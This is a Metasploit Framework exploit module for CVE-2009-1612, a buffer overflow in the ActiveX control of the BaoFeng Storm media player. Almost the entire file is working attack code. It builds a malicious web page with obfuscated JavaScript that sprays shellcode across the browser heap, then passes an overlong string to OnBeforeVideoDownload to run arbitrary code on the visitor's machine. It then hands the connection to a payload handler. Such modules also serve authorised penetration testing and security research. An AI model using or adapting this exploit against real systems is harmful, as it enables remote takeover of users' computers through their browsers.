##
# $Id: baofeng_storm_onbeforevideodownload.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX
control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing
an overly long string to the method "OnBeforeVideoDownload" an attacker can execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2009-1612' ],
[ 'OSVDB', '54169' ],
[ 'BID', '34789' ],
[ 'URL', 'http://www.exploit-db.com/exploits/8579' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# untested, please contribute the vulnerable software if possible.
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Apr 30 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# ActiveX parameters
clsid = "6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
progid = "MPS.StormPlayer.1"
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Prepare the heap spray parameters
spray_addr = 0x0c0c0c0c
spray_num = "0x%x" % spray_addr
spray_str = Rex::Text.to_hex([spray_addr].pack('V'), '%')
# Generate the final javascript
js = %Q|
try {
var vulnerable = new ActiveXObject('#{progid}');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var evil_string = '';
while (evil_string.length < 4150)
evil_string += my_unescape('#{spray_str}');
vulnerable.OnBeforeVideoDownload(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|
# Obfuscate the javascript
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => %w{ vulnerable shellcode my_unescape index evil_string }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
# Generate the final HTML
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
